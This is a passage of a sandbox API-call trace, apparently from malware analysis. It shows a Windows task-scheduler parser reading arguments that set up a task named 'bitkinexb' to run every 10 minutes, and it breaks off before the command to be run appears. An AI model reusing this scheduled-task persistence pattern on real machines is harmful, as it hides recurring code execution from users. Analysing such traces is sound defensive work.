[0061.574] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|query|") returned 7 [0061.574] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|tn|") returned 4 [0061.574] lstrlenW (lpString="|query|") returned 7 [0061.574] lstrlenW (lpString="|tn|") returned 4 [0061.574] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0061.574] SetLastError (dwErrCode=0x490) [0061.574] lstrlenW (lpString="change") returned 6 [0061.574] lstrlenW (lpString="change") returned 6 [0061.574] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.574] lstrlenW (lpString="tn") returned 2 [0061.574] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.574] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|change|") returned 8 [0061.574] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|tn|") returned 4 [0061.575] lstrlenW (lpString="|change|") returned 8 [0061.575] lstrlenW (lpString="|tn|") returned 4 [0061.575] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0061.575] SetLastError (dwErrCode=0x490) [0061.575] lstrlenW (lpString="run") returned 3 [0061.575] lstrlenW (lpString="run") returned 3 [0061.575] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.575] lstrlenW (lpString="tn") returned 2 [0061.575] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.575] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|run|") returned 5 [0061.575] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|tn|") returned 4 [0061.575] lstrlenW (lpString="|run|") returned 5 [0061.575] lstrlenW (lpString="|tn|") returned 4 [0061.575] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0061.575] SetLastError (dwErrCode=0x490) [0061.575] lstrlenW (lpString="end") returned 3 [0061.575] lstrlenW (lpString="end") returned 3 [0061.575] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.575] lstrlenW (lpString="tn") returned 2 [0061.575] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.575] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|end|") returned 5 [0061.575] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|tn|") returned 4 [0061.575] lstrlenW (lpString="|end|") returned 5 [0061.575] lstrlenW (lpString="|tn|") returned 4 [0061.575] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0061.575] SetLastError (dwErrCode=0x490) [0061.575] lstrlenW (lpString="showsid") returned 7 [0061.575] lstrlenW (lpString="showsid") returned 7 [0061.575] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.575] GetProcessHeap () returned 0x310000 [0061.576] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c340) returned 1 [0061.576] GetProcessHeap () returned 0x310000 [0061.576] RtlReAllocateHeap (Heap=0x310000, Flags=0xc, Ptr=0x32c340, Size=0x16) returned 0x32c340 [0061.576] lstrlenW (lpString="tn") returned 2 [0061.576] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.576] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|showsid|") returned 9 [0061.576] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|tn|") returned 4 [0061.576] lstrlenW (lpString="|showsid|") returned 9 [0061.576] lstrlenW (lpString="|tn|") returned 4 [0061.576] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0061.576] SetLastError (dwErrCode=0x490) [0061.576] SetLastError (dwErrCode=0x490) [0061.576] SetLastError (dwErrCode=0x0) [0061.576] lstrlenW (lpString="/tn") returned 3 [0061.576] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0061.576] SetLastError (dwErrCode=0x490) [0061.576] SetLastError (dwErrCode=0x0) [0061.576] lstrlenW (lpString="/tn") returned 3 [0061.576] GetProcessHeap () returned 0x310000 [0061.576] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x8) returned 0x32c2e0 [0061.576] GetProcessHeap () returned 0x310000 [0061.576] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cd10 [0061.576] SetLastError (dwErrCode=0x0) [0061.576] SetLastError (dwErrCode=0x0) [0061.576] lstrlenW (lpString="bitkinexb") returned 9 [0061.576] lstrlenW (lpString="-/") returned 2 [0061.576] StrChrIW (lpStart="-/", wMatch=0x62) returned 0x0 [0061.576] SetLastError (dwErrCode=0x490) [0061.576] SetLastError (dwErrCode=0x490) [0061.577] SetLastError (dwErrCode=0x0) [0061.577] lstrlenW (lpString="bitkinexb") returned 9 [0061.577] StrChrIW (lpStart="bitkinexb", wMatch=0x3a) returned 0x0 [0061.577] SetLastError (dwErrCode=0x490) [0061.577] SetLastError (dwErrCode=0x0) [0061.577] lstrlenW (lpString="bitkinexb") returned 9 [0061.577] GetProcessHeap () returned 0x310000 [0061.577] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x14) returned 0x32c370 [0061.577] GetProcessHeap () returned 0x310000 [0061.577] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cd40 [0061.577] SetLastError (dwErrCode=0x0) [0061.577] SetLastError (dwErrCode=0x0) [0061.577] lstrlenW (lpString="/sc") returned 3 [0061.577] lstrlenW (lpString="-/") returned 2 [0061.577] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0061.577] lstrlenW (lpString="?") returned 1 [0061.577] lstrlenW (lpString="?") returned 1 [0061.577] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.577] lstrlenW (lpString="sc") returned 2 [0061.577] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.577] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|?|") returned 3 [0061.577] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|sc|") returned 4 [0061.577] lstrlenW (lpString="|?|") returned 3 [0061.577] lstrlenW (lpString="|sc|") returned 4 [0061.577] SetLastError (dwErrCode=0x490) [0061.577] lstrlenW (lpString="create") returned 6 [0061.577] lstrlenW (lpString="create") returned 6 [0061.577] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.577] lstrlenW (lpString="sc") returned 2 [0061.577] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.577] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|create|") returned 8 [0061.578] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|sc|") returned 4 [0061.578] lstrlenW (lpString="|create|") returned 8 [0061.578] lstrlenW (lpString="|sc|") returned 4 [0061.578] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0061.578] SetLastError (dwErrCode=0x490) [0061.578] lstrlenW (lpString="delete") returned 6 [0061.578] lstrlenW (lpString="delete") returned 6 [0061.578] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.578] lstrlenW (lpString="sc") returned 2 [0061.578] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.578] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|delete|") returned 8 [0061.578] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|sc|") returned 4 [0061.578] lstrlenW (lpString="|delete|") returned 8 [0061.578] lstrlenW (lpString="|sc|") returned 4 [0061.578] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0061.578] SetLastError (dwErrCode=0x490) [0061.578] lstrlenW (lpString="query") returned 5 [0061.578] lstrlenW (lpString="query") returned 5 [0061.578] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.578] lstrlenW (lpString="sc") returned 2 [0061.578] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.578] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|query|") returned 7 [0061.578] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|sc|") returned 4 [0061.578] lstrlenW (lpString="|query|") returned 7 [0061.578] lstrlenW (lpString="|sc|") returned 4 [0061.578] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0061.578] SetLastError (dwErrCode=0x490) [0061.578] lstrlenW (lpString="change") returned 6 [0061.578] lstrlenW (lpString="change") returned 6 [0061.578] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.579] lstrlenW (lpString="sc") returned 2 [0061.579] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.579] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|change|") returned 8 [0061.579] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|sc|") returned 4 [0061.579] lstrlenW (lpString="|change|") returned 8 [0061.579] lstrlenW (lpString="|sc|") returned 4 [0061.579] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0061.579] SetLastError (dwErrCode=0x490) [0061.579] lstrlenW (lpString="run") returned 3 [0061.579] lstrlenW (lpString="run") returned 3 [0061.579] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.579] lstrlenW (lpString="sc") returned 2 [0061.579] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.579] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|run|") returned 5 [0061.579] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|sc|") returned 4 [0061.579] lstrlenW (lpString="|run|") returned 5 [0061.579] lstrlenW (lpString="|sc|") returned 4 [0061.579] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0061.579] SetLastError (dwErrCode=0x490) [0061.579] lstrlenW (lpString="end") returned 3 [0061.579] lstrlenW (lpString="end") returned 3 [0061.579] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.579] lstrlenW (lpString="sc") returned 2 [0061.579] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.579] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|end|") returned 5 [0061.579] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|sc|") returned 4 [0061.579] lstrlenW (lpString="|end|") returned 5 [0061.579] lstrlenW (lpString="|sc|") returned 4 [0061.579] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0061.580] SetLastError (dwErrCode=0x490) [0061.580] lstrlenW (lpString="showsid") returned 7 [0061.580] lstrlenW (lpString="showsid") returned 7 [0061.580] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.580] lstrlenW (lpString="sc") returned 2 [0061.580] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.580] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|showsid|") returned 9 [0061.580] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|sc|") returned 4 [0061.580] lstrlenW (lpString="|showsid|") returned 9 [0061.580] lstrlenW (lpString="|sc|") returned 4 [0061.580] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0061.580] SetLastError (dwErrCode=0x490) [0061.580] SetLastError (dwErrCode=0x490) [0061.580] SetLastError (dwErrCode=0x0) [0061.580] lstrlenW (lpString="/sc") returned 3 [0061.580] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0061.580] SetLastError (dwErrCode=0x490) [0061.580] SetLastError (dwErrCode=0x0) [0061.580] lstrlenW (lpString="/sc") returned 3 [0061.580] GetProcessHeap () returned 0x310000 [0061.580] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x8) returned 0x32c390 [0061.580] GetProcessHeap () returned 0x310000 [0061.580] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cd70 [0061.580] SetLastError (dwErrCode=0x0) [0061.580] SetLastError (dwErrCode=0x0) [0061.580] lstrlenW (lpString="MINUTE") returned 6 [0061.580] lstrlenW (lpString="-/") returned 2 [0061.580] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0061.580] SetLastError (dwErrCode=0x490) [0061.580] SetLastError (dwErrCode=0x490) [0061.580] SetLastError (dwErrCode=0x0) [0061.580] lstrlenW (lpString="MINUTE") returned 6 [0061.580] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0061.580] SetLastError (dwErrCode=0x490) [0061.581] SetLastError (dwErrCode=0x0) [0061.581] lstrlenW (lpString="MINUTE") returned 6 [0061.581] GetProcessHeap () returned 0x310000 [0061.581] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xe) returned 0x32c3b0 [0061.581] GetProcessHeap () returned 0x310000 [0061.581] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cda0 [0061.581] SetLastError (dwErrCode=0x0) [0061.581] SetLastError (dwErrCode=0x0) [0061.581] lstrlenW (lpString="/mo") returned 3 [0061.581] lstrlenW (lpString="-/") returned 2 [0061.581] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0061.581] lstrlenW (lpString="?") returned 1 [0061.581] lstrlenW (lpString="?") returned 1 [0061.581] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.581] lstrlenW (lpString="mo") returned 2 [0061.581] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.581] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|?|") returned 3 [0061.581] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|mo|") returned 4 [0061.581] lstrlenW (lpString="|?|") returned 3 [0061.581] lstrlenW (lpString="|mo|") returned 4 [0061.581] SetLastError (dwErrCode=0x490) [0061.581] lstrlenW (lpString="create") returned 6 [0061.581] lstrlenW (lpString="create") returned 6 [0061.581] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.582] lstrlenW (lpString="mo") returned 2 [0061.582] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.582] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|create|") returned 8 [0061.582] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|mo|") returned 4 [0061.582] lstrlenW (lpString="|create|") returned 8 [0061.582] lstrlenW (lpString="|mo|") returned 4 [0061.582] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0061.582] SetLastError (dwErrCode=0x490) [0061.582] lstrlenW (lpString="delete") returned 6 [0061.582] lstrlenW (lpString="delete") returned 6 [0061.582] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.582] lstrlenW (lpString="mo") returned 2 [0061.582] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.582] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|delete|") returned 8 [0061.582] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|mo|") returned 4 [0061.582] lstrlenW (lpString="|delete|") returned 8 [0061.582] lstrlenW (lpString="|mo|") returned 4 [0061.582] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0061.582] SetLastError (dwErrCode=0x490) [0061.582] lstrlenW (lpString="query") returned 5 [0061.582] lstrlenW (lpString="query") returned 5 [0061.582] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.582] lstrlenW (lpString="mo") returned 2 [0061.582] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.582] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|query|") returned 7 [0061.582] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|mo|") returned 4 [0061.582] lstrlenW (lpString="|query|") returned 7 [0061.582] lstrlenW (lpString="|mo|") returned 4 [0061.582] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0061.582] SetLastError (dwErrCode=0x490) [0061.582] lstrlenW (lpString="change") returned 6 [0061.583] lstrlenW (lpString="change") returned 6 [0061.583] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.583] lstrlenW (lpString="mo") returned 2 [0061.583] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.583] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|change|") returned 8 [0061.583] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|mo|") returned 4 [0061.583] lstrlenW (lpString="|change|") returned 8 [0061.583] lstrlenW (lpString="|mo|") returned 4 [0061.583] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0061.583] SetLastError (dwErrCode=0x490) [0061.583] lstrlenW (lpString="run") returned 3 [0061.583] lstrlenW (lpString="run") returned 3 [0061.583] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.583] lstrlenW (lpString="mo") returned 2 [0061.583] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.583] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|run|") returned 5 [0061.583] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|mo|") returned 4 [0061.583] lstrlenW (lpString="|run|") returned 5 [0061.583] lstrlenW (lpString="|mo|") returned 4 [0061.583] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0061.583] SetLastError (dwErrCode=0x490) [0061.583] lstrlenW (lpString="end") returned 3 [0061.583] lstrlenW (lpString="end") returned 3 [0061.583] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.583] lstrlenW (lpString="mo") returned 2 [0061.583] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.583] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|end|") returned 5 [0061.583] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|mo|") returned 4 [0061.583] lstrlenW (lpString="|end|") returned 5 [0061.584] lstrlenW (lpString="|mo|") returned 4 [0061.584] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0061.584] SetLastError (dwErrCode=0x490) [0061.584] lstrlenW (lpString="showsid") returned 7 [0061.584] lstrlenW (lpString="showsid") returned 7 [0061.584] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.584] lstrlenW (lpString="mo") returned 2 [0061.584] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.584] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|showsid|") returned 9 [0061.584] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|mo|") returned 4 [0061.584] lstrlenW (lpString="|showsid|") returned 9 [0061.584] lstrlenW (lpString="|mo|") returned 4 [0061.584] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0061.584] SetLastError (dwErrCode=0x490) [0061.584] SetLastError (dwErrCode=0x490) [0061.584] SetLastError (dwErrCode=0x0) [0061.584] lstrlenW (lpString="/mo") returned 3 [0061.584] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0061.584] SetLastError (dwErrCode=0x490) [0061.584] SetLastError (dwErrCode=0x0) [0061.584] lstrlenW (lpString="/mo") returned 3 [0061.584] GetProcessHeap () returned 0x310000 [0061.584] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x8) returned 0x32c3d0 [0061.584] GetProcessHeap () returned 0x310000 [0061.584] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cdd0 [0061.584] SetLastError (dwErrCode=0x0) [0061.584] SetLastError (dwErrCode=0x0) [0061.584] lstrlenW (lpString="10") returned 2 [0061.584] lstrlenW (lpString="-/") returned 2 [0061.584] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0061.584] SetLastError (dwErrCode=0x490) [0061.585] SetLastError (dwErrCode=0x490) [0061.585] SetLastError (dwErrCode=0x0) [0061.585] lstrlenW (lpString="10") returned 2 [0061.585] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0061.585] SetLastError (dwErrCode=0x490) [0061.585] SetLastError (dwErrCode=0x0) [0061.585] lstrlenW (lpString="10") returned 2 [0061.585] GetProcessHeap () returned 0x310000 [0061.585] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x6) returned 0x32c3f0 [0061.585] GetProcessHeap () returned 0x310000 [0061.585] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ce00 [0061.585] SetLastError (dwErrCode=0x0) [0061.585] SetLastError (dwErrCode=0x0) [0061.585] lstrlenW (lpString="/tr") returned 3 [0061.585] lstrlenW (lpString="-/") returned 2 [0061.585] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0061.585] lstrlenW (lpString="?") returned 1 [0061.585] lstrlenW (lpString="?") returned 1 [0061.585] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.585] lstrlenW (lpString="tr") returned 2 [0061.585] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.585] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|?|") returned 3 [0061.585] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|tr|") returned 4 [0061.585] lstrlenW (lpString="|?|") returned 3 [0061.585] lstrlenW (lpString="|tr|") returned 4 [0061.585] SetLastError (dwErrCode=0x490) [0061.585] lstrlenW (lpString="create") returned 6 [0061.585] lstrlenW (lpString="create") returned 6 [0061.585] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.585] lstrlenW (lpString="tr") returned 2 [0061.585] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.586] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|create|") returned 8 [0061.586] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|tr|") returned 4 [0061.586] lstrlenW (lpString="|create|") returned 8 [0061.586] lstrlenW (lpString="|tr|") returned 4 [0061.586] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0061.586] SetLastError (dwErrCode=0x490) [0061.586] lstrlenW (lpString="delete") returned 6 [0061.586] lstrlenW (lpString="delete") returned 6 [0061.586] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.586] lstrlenW (lpString="tr") returned 2 [0061.586] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.586] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|delete|") returned 8 [0061.586] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|tr|") returned 4 [0061.586] lstrlenW (lpString="|delete|") returned 8 [0061.586] lstrlenW (lpString="|tr|") returned 4 [0061.586] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0061.586] SetLastError (dwErrCode=0x490) [0061.586] lstrlenW (lpString="query") returned 5 [0061.586] lstrlenW (lpString="query") returned 5 [0061.586] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.586] lstrlenW (lpString="tr") returned 2 [0061.586] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.586] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|query|") returned 7 [0061.586] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|tr|") returned 4 [0061.586] lstrlenW (lpString="|query|") returned 7 [0061.586] lstrlenW (lpString="|tr|") returned 4 [0061.586] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0061.587] SetLastError (dwErrCode=0x490) [0061.587] lstrlenW (lpString="change") returned 6 [0061.587] lstrlenW (lpString="change") returned 6 [0061.587] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.587] lstrlenW (lpString="tr") returned 2 [0061.587] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.587] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|change|") returned 8 [0061.587] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|tr|") returned 4 [0061.587] lstrlenW (lpString="|change|") returned 8 [0061.587] lstrlenW (lpString="|tr|") returned 4 [0061.587] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0061.587] SetLastError (dwErrCode=0x490) [0061.587] lstrlenW (lpString="run") returned 3 [0061.587] lstrlenW (lpString="run") returned 3 [0061.587] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.587] lstrlenW (lpString="tr") returned 2 [0061.587] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.587] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|run|") returned 5 [0061.587] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|tr|") returned 4 [0061.587] lstrlenW (lpString="|run|") 